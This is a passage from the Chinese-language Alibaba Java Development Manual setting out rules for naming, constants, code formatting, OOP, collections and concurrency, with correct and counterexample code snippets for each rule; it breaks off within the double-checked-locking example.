华山版,新增 21 条,修改描述 112 处
Java 开发手册
2/44
9. 【强制】包名统一使用小写,点分隔符之间有且仅有一个自然语义的英语单词。包名统一使
用单数形式,但是类名如果有复数含义,类名可以使用复数形式。
正例:应用工具类包名为 com.alibaba.ai.util、类名为 MessageUtils(此规则参考 spring 的框架结构)
10. 【强制】避免在子父类的成员变量之间、或者不同代码块的局部变量之间采用完全相同的命
名,使可读性降低。
说明:子类、父类成员变量名相同,即使是 public 类型的变量也是能够通过编译,而局部变量在同一方法
内的不同代码块中同名也是合法的,但是要避免使用。对于非 setter/getter 的参数名称也要避免与成员
变量名称相同。
反例:
public class ConfusingName {
public int age;
// 非 setter/getter 的参数名称,不允许与本类成员变量同名
public void getData(String alibaba) {
if(true) {
final int money = 531;
// ...
}
for (int i = 0; i < 10; i++) {
// 在同一方法体中,不允许与其它代码块中的 taobao 命名相同
final int money = 615;
// ...
}
}
}
class Son extends ConfusingName {
// 不允许与父类的成员变量名称相同
public int age;
}
11. 【强制】杜绝完全不规范的缩写,避免望文不知义。
反例:AbstractClass“缩写”命名成 AbsClass;condition“缩写”命名成 condi,此类随意缩写严重
降低了代码的可阅读性。
12. 【推荐】为了达到代码自解释的目标,任何自定义编程元素在命名时,使用尽量完整的单词
组合来表达其意。
正例:在 JDK 中,表达原子更新的类名为:AtomicReferenceFieldUpdater。
反例:int a 的随意命名方式。
13. 【推荐】在常量与变量的命名时,表示类型的名词放在词尾,以提升辨识度。
正例:startTime / workQueue / nameList / TERMINATED_THREAD_COUNT
反例:startedAt / QueueOfWork / listName / COUNT_TERMINATED_THREAD
14. 【推荐】如果模块、接口、类、方法使用了设计模式,在命名时需体现出具体模式。
说明:将设计模式体现在名字中,有利于阅读者快速理解架构设计理念。
Java 开发手册
3/44
正例: public class OrderFactory;
public class LoginProxy;
public class ResourceObserver;
15. 【推荐】接口类中的方法和属性不要加任何修饰符号(public 也不要加),保持代码的简洁
性,并加上有效的 Javadoc 注释。尽量不要在接口里定义变量,如果一定要定义变量,肯定
是与接口方法相关,并且是整个应用的基础常量。
正例:接口方法签名 void commit();
接口基础常量 String COMPANY = "alibaba";
反例:接口方法定义 public abstract void f();
说明:JDK8 中接口允许有默认实现,那么这个 default 方法,是对所有实现类都有价值的默认实现。
16. 接口和实现类的命名有两套规则:
1)【强制】对于 Service 和 DAO 类,基于 SOA 的理念,暴露出来的服务一定是接口,内部的实现类用
Impl 的后缀与接口区别。
正例:CacheServiceImpl 实现 CacheService 接口。
2) 【推荐】如果是形容能力的接口名称,取对应的形容词为接口名(通常是–able 的形容词)。
正例:AbstractTranslator 实现 Translatable 接口。
17. 【参考】枚举类名带上 Enum 后缀,枚举成员名称需要全大写,单词间用下划线隔开。
说明:枚举其实就是特殊的类,域成员均为常量,且构造方法被默认强制是私有。
正例:枚举名字为 ProcessStatusEnum 的成员名称:SUCCESS / UNKNOWN_REASON。
18. 【参考】各层命名规约:
A) Service/DAO 层方法命名规约
1) 获取单个对象的方法用 get 做前缀。
2) 获取多个对象的方法用 list 做前缀,复数形式结尾如:listObjects。
3) 获取统计值的方法用 count 做前缀。
4) 插入的方法用 save/insert 做前缀。
5) 删除的方法用 remove/delete 做前缀。
6) 修改的方法用 update 做前缀。
B) 领域模型命名规约
1) 数据对象:xxxDO,xxx 即为数据表名。
2) 数据传输对象:xxxDTO,xxx 为业务领域相关的名称。
3) 展示对象:xxxVO,xxx 一般为网页名称。
4) POJO 是 DO/DTO/BO/VO 的统称,禁止命名成 xxxPOJO。
Java 开发手册
4/44
(二) 常量定义
1. 【强制】不允许任何魔法值(即未经预先定义的常量)直接出现在代码中。
反例:String key = "Id#taobao_" + tradeId;
cache.put(key, value);
// 缓存 get 时,由于在代码复制时,漏掉下划线,导致缓存击穿而出现问题
2. 【强制】在 long 或者 Long 赋值时,数值后使用大写的 L,不能是小写的 l,小写容易跟数
字 1 混淆,造成误解。
说明:Long a = 2l; 写的是数字的 21,还是 Long 型的 2。
3. 【推荐】不要使用一个常量类维护所有常量,要按常量功能进行归类,分开维护。
说明:大而全的常量类,杂乱无章,使用查找功能才能定位到修改的常量,不利于理解和维护。
正例:缓存相关常量放在类 CacheConsts 下;系统配置相关常量放在类 ConfigConsts 下。
4. 【推荐】常量的复用层次有五层:跨应用共享常量、应用内共享常量、子工程内共享常量、
包内共享常量、类内共享常量。
1) 跨应用共享常量:放置在二方库中,通常是 client.jar 中的 constant 目录下。
2) 应用内共享常量:放置在一方库中,通常是子模块中的 constant 目录下。
反例:易懂变量也要统一定义成应用内共享常量,两位工程师在两个类中分别定义了“YES”的变量:
类 A 中:public static final String YES = "yes";
类 B 中:public static final String YES = "y";
A.YES.equals(B.YES),预期是 true,但实际返回为 false,导致线上问题。
3) 子工程内部共享常量:即在当前子工程的 constant 目录下。
4) 包内共享常量:即在当前包下单独的 constant 目录下。
5) 类内共享常量:直接在类内部 private static final 定义。
5. 【推荐】如果变量值仅在一个固定范围内变化用 enum 类型来定义。
说明:如果存在名称之外的延伸属性应使用 enum 类型,下面正例中的数字就是延伸信息,表示一年中的
第几个季节。
正例:
public enum SeasonEnum {
SPRING(1), SUMMER(2), AUTUMN(3), WINTER(4);
private int seq;
SeasonEnum(int seq) {
this.seq = seq;
}
public int getSeq() {
return seq;
}
}
Java 开发手册
5/44
(三) 代码格式
1. 【强制】如果是大括号内为空,则简洁地写成{}即可,大括号中间无需换行和空格;如果是非
空代码块则:
1) 左大括号前不换行。
2) 左大括号后换行。
3) 右大括号前换行。
4) 右大括号后还有 else 等代码则不换行;表示终止的右大括号后必须换行。
2. 【强制】左小括号和字符之间不出现空格;同样,右小括号和字符之间也不出现空格;而左
大括号前需要空格。详见第 5 条下方正例提示。
反例:if (空格 a == b 空格)
3. 【强制】if/for/while/switch/do 等保留字与括号之间都必须加空格。
4. 【强制】任何二目、三目运算符的左右两边都需要加一个空格。
说明:运算符包括赋值运算符=、逻辑运算符&&、加减乘除符号等。
5. 【强制】采用 4 个空格缩进,禁止使用 tab 字符。
说明:如果使用 tab 缩进,必须设置 1 个 tab 为 4 个空格。IDEA 设置 tab 为 4 个空格时,请勿勾选 Use
tab character;而在 eclipse 中,必须勾选 insert spaces for tabs。
正例: (涉及 1-5 点)
public static void main(String[] args) {
// 缩进 4 个空格
String say = "hello";
// 运算符的左右必须有一个空格
int flag = 0;
// 关键词 if 与括号之间必须有一个空格,括号内的 f 与左括号,0 与右括号不需要空格
if (flag == 0) {
System.out.println(say);
}
// 左大括号前加空格且不换行;左大括号后换行
if (flag == 1) {
System.out.println("world");
// 右大括号前换行,右大括号后有 else,不用换行
} else {
System.out.println("ok");
// 在右大括号后直接结束,则必须换行
}
}
6. 【强制】注释的双斜线与注释内容之间有且仅有一个空格。
正例:
// 这是示例注释,请注意在双斜线之后有一个空格
String param = new String();
Java 开发手册
6/44
7. 【强制】在进行类型强制转换时,右括号与强制转换值之间不需要任何空格隔开。
正例:
long first = 1000000000000L;
int second = (int)first + 2;
8. 【强制】单行字符数限制不超过 120 个,超出需要换行,换行时遵循如下原则:
1)第二行相对第一行缩进 4 个空格,从第三行开始,不再继续缩进,参考示例。
2)运算符与下文一起换行。
3)方法调用的点符号与下文一起换行。
4)方法调用中的多个参数需要换行时,在逗号后进行。
5)在括号前不要换行,见反例。
正例:
StringBuilder sb = new StringBuilder();
// 超过 120 个字符的情况下,换行缩进 4 个空格,点号和方法名称一起换行
sb.append("Jack").append("Ma")...
.append("alibaba")...
.append("alibaba")...
.append("alibaba");
反例:
StringBuilder sb = new StringBuilder();
// 超过 120 个字符的情况下,不要在括号前换行
sb.append("Jack").append("Ma")...append
("alibaba");
// 参数很多的方法调用可能超过 120 个字符,不要在逗号前换行
method(args1, args2, args3, ...
, argsX);
9. 【强制】方法参数在定义和传入时,多个参数逗号后边必须加空格。
正例:下例中实参的 args1,后边必须要有一个空格。
method(args1, args2, args3);
10. 【强制】IDE 的 text file encoding 设置为 UTF-8; IDE 中文件的换行符使用 Unix 格式,不
要使用 Windows 格式。
11. 【推荐】单个方法的总行数不超过 80 行。
说明:除注释之外的方法签名、左右大括号、方法内代码、空行、回车及任何不可见字符的总行数不超过
80 行。
正例:代码逻辑分清红花和绿叶,个性和共性,绿叶逻辑单独出来成为额外方法,使主干代码更加清晰;
共性逻辑抽取成为共性方法,便于复用和维护。
12. 【推荐】没有必要增加若干空格来使变量的赋值等号与上一行对应位置的等号对齐。
正例:
int one = 1;
long two = 2L;
float three = 3F;
StringBuilder sb = new StringBuilder();
Java 开发手册
7/44
说明:增加 sb 这个变量,如果需要对齐,则给 one、two、three 都要增加几个空格,在变量比较多的情
况下,是非常累赘的事情。
13. 【推荐】不同逻辑、不同语义、不同业务的代码之间插入一个空行分隔开来以提升可读性。
说明:任何情形,没有必要插入多个空行进行隔开。
(四) OOP 规约
1. 【强制】避免通过一个类的对象引用访问此类的静态变量或静态方法,无谓增加编译器解析
成本,直接用类名来访问即可。
2. 【强制】所有的覆写方法,必须加@Override 注解。
说明:getObject()与 get0bject()的问题。一个是字母的 O,一个是数字的 0,加@Override 可以准确判
断是否覆盖成功。另外,如果在抽象类中对方法签名进行修改,其实现类会马上编译报错。
3. 【强制】相同参数类型,相同业务含义,才可以使用 Java 的可变参数,避免使用 Object。
说明:可变参数必须放置在参数列表的最后。(提倡同学们尽量不用可变参数编程)
正例:public List<User> listUsers(String type, Long... ids) {...}
4. 【强制】外部正在调用或者二方库依赖的接口,不允许修改方法签名,避免对接口调用方产
生影响。接口过时必须加@Deprecated 注解,并清晰地说明采用的新接口或者新服务是什
么。
5. 【强制】不能使用过时的类或方法。
说明:java.net.URLDecoder 中的方法 decode(String encodeStr) 这个方法已经过时,应该使用双参数
decode(String source, String encode)。接口提供方既然明确是过时接口,那么有义务同时提供新的接
口;作为调用方来说,有义务去考证过时方法的新实现是什么。
6. 【强制】Object 的 equals 方法容易抛空指针异常,应使用常量或确定有值的对象来调用
equals。
正例:"test".equals(object);
反例:object.equals("test");
说明:推荐使用 java.util.Objects#equals(JDK7 引入的工具类)。
7. 【强制】所有整型包装类对象之间值的比较,全部使用 equals 方法比较。
说明:对于 Integer var = ? 在-128 至 127 范围内的赋值,Integer 对象是在 IntegerCache.cache 产
生,会复用已有对象,这个区间内的 Integer 值可以直接使用==进行判断,但是这个区间之外的所有数
据,都会在堆上产生,并不会复用已有对象,这是一个大坑,推荐使用 equals 方法进行判断。
8. 【强制】浮点数之间的等值判断,基本数据类型不能用==来比较,包装数据类型不能用
equals 来判断。
说明:浮点数采用“尾数+阶码”的编码方式,类似于科学计数法的“有效数字+指数”的表示方式。二进
Java 开发手册
8/44
制无法精确表示大部分的十进制小数,具体原理参考《码出高效》。
反例:
float a = 1.0f - 0.9f;
float b = 0.9f - 0.8f;
if (a == b) {
// 预期进入此代码快,执行其它业务逻辑
// 但事实上 a==b 的结果为 false
}
Float x = Float.valueOf(a);
Float y = Float.valueOf(b);
if (x.equals(y)) {
// 预期进入此代码快,执行其它业务逻辑
// 但事实上 equals 的结果为 false
}
正例:
(1) 指定一个误差范围,两个浮点数的差值在此范围之内,则认为是相等的。
float a = 1.0f - 0.9f;
float b = 0.9f - 0.8f;
float diff = 1e-6f;
if (Math.abs(a - b) < diff) {
System.out.println("true");
}
(2) 使用 BigDecimal 来定义值,再进行浮点数的运算操作。
BigDecimal a = new BigDecimal("1.0");
BigDecimal b = new BigDecimal("0.9");
BigDecimal c = new BigDecimal("0.8");
BigDecimal x = a.subtract(b);
BigDecimal y = b.subtract(c);
if (x.equals(y)) {
System.out.println("true");
}
9. 【强制】定义数据对象 DO 类时,属性类型要与数据库字段类型相匹配。
正例:数据库字段的 bigint 必须与类属性的 Long 类型相对应。
反例:某个案例的数据库表 id 字段定义类型 bigint unsigned,实际类对象属性为 Integer,随着 id 越来
越大,超过 Integer 的表示范围而溢出成为负数。
10. 【强制】为了防止精度损失,禁止使用构造方法 BigDecimal(double)的方式把 double 值转
化为 BigDecimal 对象。
说明:BigDecimal(double)存在精度损失风险,在精确计算或值比较的场景中可能会导致业务逻辑异常。
如:BigDecimal g = new BigDecimal(0.1f); 实际的存储值为:0.10000000149
正例:优先推荐入参为 String 的构造方法,或使用 BigDecimal 的 valueOf 方法,此方法内部其实执行了
Double 的 toString,而 Double 的 toString 按 double 的实际能表达的精度对尾数进行了截断。
Java 开发手册
9/44
BigDecimal recommend1 = new BigDecimal("0.1");
BigDecimal recommend2 = BigDecimal.valueOf(0.1);
11. 关于基本数据类型与包装数据类型的使用标准如下:
1) 【强制】所有的 POJO 类属性必须使用包装数据类型。
2) 【强制】RPC 方法的返回值和参数必须使用包装数据类型。
3) 【推荐】所有的局部变量使用基本数据类型。
说明:POJO 类属性没有初值是提醒使用者在需要使用时,必须自己显式地进行赋值,任何 NPE 问题,或
者入库检查,都由使用者来保证。
正例:数据库的查询结果可能是 null,因为自动拆箱,用基本数据类型接收有 NPE 风险。
反例:比如显示成交总额涨跌情况,即正负 x%,x 为基本数据类型,调用的 RPC 服务,调用不成功时,
返回的是默认值,页面显示为 0%,这是不合理的,应该显示成中划线。所以包装数据类型的 null 值,能
够表示额外的信息,如:远程调用失败,异常退出。
12. 【强制】定义 DO/DTO/VO 等 POJO 类时,不要设定任何属性默认值。
反例:POJO 类的 createTime 默认值为 new Date(),但是这个属性在数据提取时并没有置入具体值,在
更新其它字段时又附带更新了此字段,导致创建时间被修改成当前时间。
13. 【强制】序列化类新增属性时,请不要修改 serialVersionUID 字段,避免反序列失败;如果
完全不兼容升级,避免反序列化混乱,那么请修改 serialVersionUID 值。
说明:注意 serialVersionUID 不一致会抛出序列化运行时异常。
14. 【强制】构造方法里面禁止加入任何业务逻辑,如果有初始化逻辑,请放在 init 方法中。
15. 【强制】POJO 类必须写 toString 方法。使用 IDE 中的工具:source> generate toString
时,如果继承了另一个 POJO 类,注意在前面加一下 super.toString。
说明:在方法执行抛出异常时,可以直接调用 POJO 的 toString()方法打印其属性值,便于排查问题。
16. 【强制】禁止在 POJO 类中,同时存在对应属性 xxx 的 isXxx()和 getXxx()方法。
说明:框架在调用属性 xxx 的提取方法时,并不能确定哪个方法一定是被优先调用到。
17. 【推荐】使用索引访问用 String 的 split 方法得到的数组时,需做最后一个分隔符后有无内
容的检查,否则会有抛 IndexOutOfBoundsException 的风险。
说明:
String str = "a,b,c,,";
String[] ary = str.split(",");
// 预期大于 3,结果是 3
System.out.println(ary.length);
18. 【推荐】当一个类有多个构造方法,或者多个同名方法,这些方法应该按顺序放置在一起,
便于阅读,此条规则优先于下一条。
19. 【推荐】 类内方法定义的顺序依次是:公有方法或保护方法 > 私有方法 > getter / setter
方法。
说明:公有方法是类的调用者和维护者最关心的方法,首屏展示最好;保护方法虽然只是子类关心,也可
Java 开发手册
10/44
能是“模板设计模式”下的核心方法;而私有方法外部一般不需要特别关心,是一个黑盒实现;因为承载
的信息价值较低,所有 Service 和 DAO 的 getter/setter 方法放在类体最后。
20. 【推荐】setter 方法中,参数名称与类成员变量名称一致,this.成员名 = 参数名。在
getter/setter 方法中,不要增加业务逻辑,增加排查问题的难度。
反例:
public Integer getData() {
if (condition) {
return this.data + 100;
} else {
return this.data - 100;
}
}
21. 【推荐】循环体内,字符串的连接方式,使用 StringBuilder 的 append 方法进行扩展。
说明:下例中,反编译出的字节码文件显示每次循环都会 new 出一个 StringBuilder 对象,然后进行
append 操作,最后通过 toString 方法返回 String 对象,造成内存资源浪费。
反例:
String str = "start";
for (int i = 0; i < 100; i++) {
str = str + "hello";
}
22. 【推荐】final 可以声明类、成员变量、方法、以及本地变量,下列情况使用 final 关键字:
1) 不允许被继承的类,如:String 类。
2) 不允许修改引用的域对象。
3) 不允许被覆写的方法,如:POJO 类的 setter 方法。
4) 不允许运行过程中重新赋值的局部变量。
5) 避免上下文重复使用一个变量,使用 final 可以强制重新定义一个变量,方便更好地进行重构。
23. 【推荐】慎用 Object 的 clone 方法来拷贝对象。
说明:对象 clone 方法默认是浅拷贝,若想实现深拷贝需覆写 clone 方法实现域对象的深度遍历式拷贝。
24. 【推荐】类成员与方法访问控制从严:
1) 如果不允许外部直接通过 new 来创建对象,那么构造方法必须是 private。
2) 工具类不允许有 public 或 default 构造方法。
3) 类非 static 成员变量并且与子类共享,必须是 protected。
4) 类非 static 成员变量并且仅在本类使用,必须是 private。
5) 类 static 成员变量如果仅在本类使用,必须是 private。
6) 若是 static 成员变量,考虑是否为 final。
7) 类成员方法只供类内部调用,必须是 private。
8) 类成员方法只对继承类公开,那么限制为 protected。
说明:任何类、方法、参数、变量,严控访问范围。过于宽泛的访问范围,不利于模块解耦。思考:如果
Java 开发手册
11/44
是一个 private 的方法,想删除就删除,可是一个 public 的 service 成员方法或成员变量,删除一下,不
得手心冒点汗吗?变量像自己的小孩,尽量在自己的视线内,变量作用域太大,无限制的到处跑,那么你
会担心的。
(五) 集合处理
1. 【强制】关于 hashCode 和 equals 的处理,遵循如下规则:
1) 只要覆写 equals,就必须覆写 hashCode。
2) 因为 Set 存储的是不重复的对象,依据 hashCode 和 equals 进行判断,所以 Set 存储的对象必须覆
写这两个方法。
3) 如果自定义对象作为 Map 的键,那么必须覆写 hashCode 和 equals。
说明:String 已覆写 hashCode 和 equals 方法,所以我们可以愉快地使用 String 对象作为 key 来使用。
2. 【强制】ArrayList 的 subList 结果不可强转成 ArrayList,否则会抛出 ClassCastException 异
常,即 java.util.RandomAccessSubList cannot be cast to java.util.ArrayList。
说明:subList 返回的是 ArrayList 的内部类 SubList,并不是 ArrayList 而是 ArrayList 的一个视图,对
于 SubList 子列表的所有操作最终会反映到原列表上。
3. 【强制】使用 Map 的方法 keySet()/values()/entrySet()返回集合对象时,不可以对其进行添
加元素操作,否则会抛出 UnsupportedOperationException 异常。
4. 【强制】Collections 类返回的对象,如:emptyList()/singletonList()等都是 immutable
list,不可对其进行添加或者删除元素的操作。
反例:如果查询无结果,返回 Collections.emptyList()空集合对象,调用方一旦进行了添加元素的操作,就
会触发 UnsupportedOperationException 异常。
5. 【强制】在 subList 场景中,高度注意对原集合元素的增加或删除,均会导致子列表的遍
历、增加、删除产生 ConcurrentModificationException 异常。
6. 【强制】使用集合转数组的方法,必须使用集合的 toArray(T[] array),传入的是类型完全一
致、长度为 0 的空数组。
反例:直接使用 toArray 无参方法存在问题,此方法返回值只能是 Object[]类,若强转其它类型数组将出
现 ClassCastException 错误。
正例:
List<String> list = new ArrayList<>(2);
list.add("guan");
list.add("bao");
String[] array = list.toArray(new String[0]);
说明:使用 toArray 带参方法,数组空间大小的 length:
1) 等于 0,动态创建与 size 相同的数组,性能最好。
2) 大于 0 但小于 size,重新创建大小等于 size 的数组,增加 GC 负担。
Java 开发手册
12/44
3) 等于 size,在高并发情况下,数组创建完成之后,size 正在变大的情况下,负面影响与上相同。
4) 大于 size,空间浪费,且在 size 处插入 null 值,存在 NPE 隐患。
7. 【强制】在使用 Collection 接口任何实现类的 addAll()方法时,都要对输入的集合参数进行
NPE 判断。
说明:在 ArrayList#addAll 方法的第一行代码即 Object[] a = c.toArray(); 其中 c 为输入集合参数,如果
为 null,则直接抛出异常。
8. 【强制】使用工具类 Arrays.asList()把数组转换成集合时,不能使用其修改集合相关的方
法,它的 add/remove/clear 方法会抛出 UnsupportedOperationException 异常。
说明:asList 的返回对象是一个 Arrays 内部类,并没有实现集合的修改方法。Arrays.asList 体现的是适
配器模式,只是转换接口,后台的数据仍是数组。
String[] str = new String[] { "yang", "hao" };
List list = Arrays.asList(str);
第一种情况:list.add("yangguanbao"); 运行时异常。
第二种情况:str[0] = "changed"; 也会随之修改,反之亦然。
9. 【强制】泛型通配符<? extends T>来接收返回的数据,此写法的泛型集合不能使用 add 方
法,而<? super T>不能使用 get 方法,作为接口调用赋值时易出错。
说明:扩展说一下 PECS(Producer Extends Consumer Super)原则:第一、频繁往外读取内容的,适合
用<? extends T>。第二、经常往里插入的,适合用<? super T>
10. 【强制】在无泛型限制定义的集合赋值给泛型限制的集合时,在使用集合元素时,需要进行
instanceof 判断,避免抛出 ClassCastException 异常。
说明:毕竟泛型是在 JDK5 后才出现,考虑到向前兼容,编译器是允许非泛型集合与泛型集合互相赋值。
反例:
List<String> generics = null;
List notGenerics = new ArrayList(10);
notGenerics.add(new Object());
notGenerics.add(new Integer(1));
generics = notGenerics;
// 此处抛出 ClassCastException 异常
String string = generics.get(0);
11. 【强制】不要在 foreach 循环里进行元素的 remove/add 操作。remove 元素请使用
Iterator 方式,如果并发操作,需要对 Iterator 对象加锁。
正例:
List<String> list = new ArrayList<>();
list.add("1");
list.add("2");
Iterator<String> iterator = list.iterator();
while (iterator.hasNext()) {
String item = iterator.next();
if (删除元素的条件) {
Java 开发手册
13/44
iterator.remove();
}
}
反例:
for (String item : list) {
if ("1".equals(item)) {
list.remove(item);
}
}
说明:以上代码的执行结果肯定会出乎大家的意料,那么试一下把“1”换成“2”,会是同样的结果吗?
12. 【强制】在 JDK7 版本及以上,Comparator 实现类要满足如下三个条件,不然 Arrays.sort,
Collections.sort 会抛 IllegalArgumentException 异常。
说明:三个条件如下
1) x,y 的比较结果和 y,x 的比较结果相反。
2) x>y,y>z,则 x>z。
3) x=y,则 x,z 比较结果和 y,z 比较结果相同。
反例:下例中没有处理相等的情况,交换两个对象判断结果并不互反,不符合第一个条件,在实际使用中
可能会出现异常。
new Comparator<Student>() {
@Override
public int compare(Student o1, Student o2) {
return o1.getId() > o2.getId() ? 1 : -1;
}
};
13. 【推荐】集合泛型定义时,在 JDK7 及以上,使用 diamond 语法或全省略。
说明:菱形泛型,即 diamond,直接使用<>来指代前边已经指定的类型。
正例:
// diamond 方式,即<>
HashMap<String, String> userCache = new HashMap<>(16);
// 全省略方式
ArrayList<User> users = new ArrayList(10);
14. 【推荐】集合初始化时,指定集合初始值大小。
说明:HashMap 使用 HashMap(int initialCapacity) 初始化。
正例:initialCapacity = (需要存储的元素个数 / 负载因子) + 1。注意负载因子(即 loader factor)默认
为 0.75,如果暂时无法确定初始值大小,请设置为 16(即默认值)。
反例:HashMap 需要放置 1024 个元素,由于没有设置容量初始大小,随着元素不断增加,容量 7 次被
迫扩大,resize 需要重建 hash 表,严重影响性能。
15. 【推荐】使用 entrySet 遍历 Map 类集合 KV,而不是 keySet 方式进行遍历。
说明:keySet 其实是遍历了 2 次,一次是转为 Iterator 对象,另一次是从 hashMap 中取出 key 所对应
的 value。而 entrySet 只是遍历了一次就把 key 和 value 都放到了 entry 中,效率更高。如果是 JDK8,
使用 Map.forEach 方法。
Java 开发手册
14/44
正例:values()返回的是 V 值集合,是一个 list 集合对象;keySet()返回的是 K 值集合,是一个 Set 集合
对象;entrySet()返回的是 K-V 值组合集合。
16. 【推荐】高度注意 Map 类集合 K/V 能不能存储 null 值的情况,如下表格:
集合类
Key
Value
Super
说明
Hashtable
不允许为 null
不允许为 null
Dictionary
线程安全
ConcurrentHashMap
不允许为 null
不允许为 null
AbstractMap
锁分段技术(JDK8:CAS)
TreeMap
不允许为 null
允许为 null
AbstractMap
线程不安全
HashMap
允许为 null
允许为 null
AbstractMap
线程不安全
反例:由于 HashMap 的干扰,很多人认为 ConcurrentHashMap 是可以置入 null 值,而事实上,存储
null 值时会抛出 NPE 异常。
17. 【参考】合理利用好集合的有序性(sort)和稳定性(order),避免集合的无序性(unsort)和不稳
定性(unorder)带来的负面影响。
说明:有序性是指遍历的结果是按某种比较规则依次排列的。稳定性指集合每次遍历的元素次序是一定
的。如:ArrayList 是 order/unsort;HashMap 是 unorder/unsort;TreeSet 是 order/sort。
18. 【参考】利用 Set 元素唯一的特性,可以快速对一个集合进行去重操作,避免使用 List 的
contains 方法进行遍历、对比、去重操作。
(六) 并发处理
1. 【强制】获取单例对象需要保证线程安全,其中的方法也要保证线程安全。
说明:资源驱动类、工具类、单例工厂类都需要注意。
2. 【强制】创建线程或线程池时请指定有意义的线程名称,方便出错时回溯。
正例:自定义线程工厂,并且根据外部特征进行分组,比如机房信息。
public class UserThreadFactory implements ThreadFactory {
private final String namePrefix;
private final AtomicInteger nextId = new AtomicInteger(1);
// 定义线程组名称,在 jstack 问题排查时,非常有帮助
UserThreadFactory(String whatFeaturOfGroup) {
namePrefix = "From UserThreadFactory's " + whatFeaturOfGroup + "-Worker-";
}
@Override
public Thread newThread(Runnable task) {
String name = namePrefix + nextId.getAndIncrement();
Thread thread = new Thread(null, task, name, 0, false);
Java 开发手册
15/44
System.out.println(thread.getName());
return thread;
}
}
3. 【强制】线程资源必须通过线程池提供,不允许在应用中自行显式创建线程。
说明:线程池的好处是减少在创建和销毁线程上所消耗的时间以及系统资源的开销,解决资源不足的问
题。如果不使用线程池,有可能造成系统创建大量同类线程而导致消耗完内存或者“过度切换”的问题。
4. 【强制】线程池不允许使用 Executors 去创建,而是通过 ThreadPoolExecutor 的方式,这
样的处理方式让写的同学更加明确线程池的运行规则,规避资源耗尽的风险。
说明:Executors 返回的线程池对象的弊端如下:
1) FixedThreadPool 和 SingleThreadPool:
允许的请求队列长度为 Integer.MAX_VALUE,可能会堆积大量的请求,从而导致 OOM。
2) CachedThreadPool:
允许的创建线程数量为 Integer.MAX_VALUE,可能会创建大量的线程,从而导致 OOM。
5. 【强制】SimpleDateFormat 是线程不安全的类,一般不要定义为 static 变量,如果定义为
static,必须加锁,或者使用 DateUtils 工具类。
正例:注意线程安全,使用 DateUtils。亦推荐如下处理:
private static final ThreadLocal<DateFormat> df = new ThreadLocal<DateFormat>() {
@Override
protected DateFormat initialValue() {
return new SimpleDateFormat("yyyy-MM-dd");
}
};
说明:如果是 JDK8 的应用,可以使用 Instant 代替 Date,LocalDateTime 代替 Calendar,
DateTimeFormatter 代替 SimpleDateFormat,官方给出的解释:simple beautiful strong immutable
thread-safe。
6. 【强制】必须回收自定义的 ThreadLocal 变量,尤其在线程池场景下,线程经常会被复用,
如果不清理自定义的 ThreadLocal 变量,可能会影响后续业务逻辑和造成内存泄露等问题。
尽量在代理中使用 try-finally 块进行回收。
正例:
objectThreadLocal.set(userInfo);
try {
// ...
} finally {
objectThreadLocal.remove();
}
7. 【强制】高并发时,同步调用应该去考量锁的性能损耗。能用无锁数据结构,就不要用锁;
能锁区块,就不要锁整个方法体;能用对象锁,就不要用类锁。
说明:尽可能使加锁的代码块工作量尽可能的小,避免在锁代码块中调用 RPC 方法。
Java 开发手册
16/44
8. 【强制】对多个资源、数据库表、对象同时加锁时,需要保持一致的加锁顺序,否则可能会
造成死锁。
说明:线程一需要对表 A、B、C 依次全部加锁后才可以进行更新操作,那么线程二的加锁顺序也必须是
A、B、C,否则可能出现死锁。
9. 【强制】在使用阻塞等待获取锁的方式中,必须在 try 代码块之外,并且在加锁方法与 try 代
码块之间没有任何可能抛出异常的方法调用,避免加锁成功后,在 finally 中无法解锁。
说明一:如果在 lock 方法与 try 代码块之间的方法调用抛出异常,那么无法解锁,造成其它线程无法成功
获取锁。
说明二:如果 lock 方法在 try 代码块之内,可能由于其它方法抛出异常,导致在 finally 代码块中,
unlock 对未加锁的对象解锁,它会调用 AQS 的 tryRelease 方法(取决于具体实现类),抛出
IllegalMonitorStateException 异常。
说明三:在 Lock 对象的 lock 方法实现中可能抛出 unchecked 异常,产生的后果与说明二相同。
正例:
Lock lock = new XxxLock();
// ...
lock.lock();
try {
doSomething();
doOthers();
} finally {
lock.unlock();
}
反例:
Lock lock = new XxxLock();
// ...
try {
// 如果此处抛出异常,则直接执行 finally 代码块
doSomething();
// 无论加锁是否成功,finally 代码块都会执行
lock.lock();
doOthers();
} finally {
lock.unlock();
}
10. 【强制】在使用尝试机制来获取锁的方式中,进入业务代码块之前,必须先判断当前线程是
否持有锁。锁的释放规则与锁的阻塞等待方式相同。
说明:Lock 对象的 unlock 方法在执行时,它会调用 AQS 的 tryRelease 方法(取决于具体实现类),如果
当前线程不持有锁,则抛出 IllegalMonitorStateException 异常。
正例:
Lock lock = new XxxLock();
// ...
boolean isLocked = lock.tryLock();
if (isLocked) {
try {
doSomething();
Java 开发手册
17/44
doOthers();
} finally {
lock.unlock();
}
}
11. 【强制】并发修改同一记录时,避免更新丢失,需要加锁。要么在应用层加锁,要么在缓存
加锁,要么在数据库层使用乐观锁,使用 version 作为更新依据。
说明:如果每次访问冲突概率小于 20%,推荐使用乐观锁,否则使用悲观锁。乐观锁的重试次数不得小于
3 次。
12. 【强制】多线程并行处理定时任务时,Timer 运行多个 TimeTask 时,只要其中之一没有捕获
抛出的异常,其它任务便会自动终止运行,如果在处理定时任务时使用
ScheduledExecutorService 则没有这个问题。
13. 【推荐】资金相关的金融敏感信息,使用悲观锁策略。
说明:乐观锁在获得锁的同时已经完成了更新操作,校验逻辑容易出现漏洞,另外,乐观锁对冲突的解决
策略有较复杂的要求,处理不当容易造成系统压力或数据异常,所以资金相关的金融敏感信息不建议使用
乐观锁更新。
14. 【推荐】使用 CountDownLatch 进行异步转同步操作,每个线程退出前必须调用 countDown
方法,线程执行代码注意 catch 异常,确保 countDown 方法被执行到,避免主线程无法执行
至 await 方法,直到超时才返回结果。
说明:注意,子线程抛出异常堆栈,不能在主线程 try-catch 到。
15. 【推荐】避免 Random 实例被多线程使用,虽然共享该实例是线程安全的,但会因竞争同一
seed 导致的性能下降。
说明:Random 实例包括 java.util.Random 的实例或者 Math.random()的方式。
正例:在 JDK7 之后,可以直接使用 API ThreadLocalRandom,而在 JDK7 之前,需要编码保证每个线
程持有一个实例。
16. 【推荐】在并发场景下,通过双重检查锁(double-checked locking)实现延迟初始化的优化
问题隐患(可参考 The "Double-Checked Locking is Broken" Declaration),推荐解决方案中较为
简单一种(适用于 JDK5 及以上版本),将目标属性声明为 volatile 型。
反例:
public class LazyInitDemo {
private Helper helper = null;
public Helper getHelper() {
if (helper == null) synchronized(this) {
if (helper == null)
helper = new Helper();
}
